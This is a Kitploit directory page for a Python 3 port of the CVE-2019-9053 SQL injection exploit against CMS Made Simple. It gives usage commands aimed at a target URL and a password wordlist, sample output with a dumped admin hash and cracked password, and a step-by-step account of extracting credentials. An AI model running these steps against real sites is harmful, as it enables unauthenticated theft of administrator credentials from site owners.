Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-9053 — CMS Made Simple CVE-2019-9053 Exploit (Python 3) | Kitploit
Strumenti/GitHubGitHub/v4rr10r/cve-2019-9053
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubv4rr10r/cve-2019-9053

CVE-2019-9053

CMS Made Simple CVE-2019-9053 Exploit (Python 3)

Vedi Repository
23 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Contenuto non disponibile nella lingua richiesta. Visualizzazione della versione inglese.

CVE-2019-9053 — CMS Made Simple SQL Injection (Python 3)

A Python 3 port of the time-based blind SQL injection exploit targeting CMS Made Simple <= 2.2.9.
Original exploit by Daniele Scanu @ Certimeter Group.

Vulnerability

Scarica lo strumento
FieldDetail
CVECVE-2019-9053
Affected SoftwareCMS Made Simple <= 2.2.9
Vulnerability TypeUnauthenticated Time-Based Blind SQL Injection
Attack VectorNetwork (no authentication required)
Parameterm1_idlist in the News module

The News module fails to sanitize the m1_idlist GET parameter, allowing an unauthenticated attacker to extract sensitive data from the database character by character using time delays.

Requirements

  • Python 3.6+
  • pip packages:
root@kitploit:~
pip install requests termcolor

Usage

Basic — dump credentials only

root@kitploit:~
python3 CVE-2019-9053_py3.py -u http://target/cms

With password cracking

root@kitploit:~
python3 CVE-2019-9053_py3.py -u http://target/cms --crack -w /path/to/wordlist.txt

Full options

root@kitploit:~
python3 CVE-2019-9053_py3.py --help
FlagDescription
-u, --urlBase URL of the target CMS Made Simple installation
-w, --wordlistPath to a wordlist file for password cracking
-c, --crackEnable password cracking mode (requires -w)

Example

root@kitploit:~
python3 CVE-2019-9053_py3.py -u http://10.49.164.146/simple/ --crack -w /usr/share/wordlists/rockyou.txt

Expected output:

root@kitploit:~
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: password123

How It Works

  1. Salt dump — queries cms_siteprefs table for the sitemask value (the password salt)
  2. Username dump — extracts the username of user_id = 1 from cms_users
  3. Email dump — extracts the email of user_id = 1 from cms_users
  4. Password dump — extracts the MD5 password hash of user_id = 1 from cms_users
  5. Crack (optional) — computes MD5(salt + wordlist_entry) for each line and compares against the dumped hash

The injection uses SELECT SLEEP(N) to infer each character — if the response is delayed, the guessed character is correct.

Tip: If the script is slow or unreliable, increase the TIME variable inside the script to account for network latency.

Python 3 Changes from Original

ChangeDetail
print statementsConverted to print() functions
optparseReplaced with argparse (optparse is deprecated in Python 3)
hashlib.md5()Input now encoded to bytes via .encode('utf-8')
File readingReplaced .readlines() with a with block and .strip()

References

  • Exploit-DB #46635 — Original exploit
  • NVD — CVE-2019-9053
  • CMS Made Simple

License

This project is for educational use only. Refer to the original exploit's licensing terms on Exploit-DB.